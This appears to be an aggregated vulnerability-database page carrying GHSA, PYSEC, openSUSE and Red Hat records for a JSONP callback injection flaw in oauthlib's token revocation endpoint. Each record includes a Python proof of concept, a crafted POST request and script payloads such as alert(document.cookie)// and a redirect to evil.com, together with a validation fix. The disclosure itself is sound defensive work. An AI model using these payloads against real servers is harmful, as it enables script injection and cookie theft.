window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "GHSA-hj66-6f7g-4r5v",
"modified": "2026-09-29T17:53:41Z",
"published": "2026-09-29T17:53:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation"
}
OPENSUSE-SU-2026:11973-1
Vulnerability from csaf_opensuse - Published: 2026-10-02 00:00 - Updated: 2026-10-03 08:39PYSEC-2026-4113
Vulnerability from pysec - Published: 2026-10-01 16:38 - Updated: 2026-10-01 17:10Summary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| Name | purl | oauthlib | pkg:pypi/oauthlib |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "oauthlib",
"purl": "pkg:pypi/oauthlib"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.1"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.6.1",
"0.6.2",
"0.6.3",
"0.7.0",
"0.7.1",
"0.7.2",
"1.0.0",
"1.0.1",
"1.0.2",
"1.0.3",
"1.1.0",
"1.1.1",
"1.1.2",
"2.0.0",
"2.0.1",
"2.0.2",
"2.0.3",
"2.0.4",
"2.0.5",
"2.0.6",
"2.0.7",
"2.1.0",
"3.0.0",
"3.0.1",
"3.0.2",
"3.1.0",
"3.1.1",
"3.2.0",
"3.2.1",
"3.2.2",
"3.3.0",
"3.3.1"
]
}
],
"aliases": [
"CVE-2026-49264",
"GHSA-hj66-6f7g-4r5v"
],
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "PYSEC-2026-4113",
"modified": "2026-10-01T17:10:33.699347Z",
"published": "2026-10-01T16:38:39.971554Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/oauthlib"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation"
}
RHSA-2026:82368
Vulnerability from csaf_redhat - Published: 2026-10-13 17:47 - Updated: 2026-10-14 23:08A flaw was found in oauthlib. When JSON with Padding (JSONP) support is enabled on the token revocation endpoint, the application fails to validate user-supplied callback parameters before reflecting them into the response. A remote attacker could exploit this flaw by submitting a crafted callback value, allowing the execution of arbitrary JavaScript code within the security context of client applications consuming the response.
RHSA-2026:82415
Vulnerability from csaf_redhat - Published: 2026-10-13 19:20 - Updated: 2026-10-14 23:08A flaw was found in oauthlib. When JSON with Padding (JSONP) support is enabled on the token revocation endpoint, the application fails to validate user-supplied callback parameters before reflecting them into the response. A remote attacker could exploit this flaw by submitting a crafted callback value, allowing the execution of arbitrary JavaScript code within the security context of client applications consuming the response.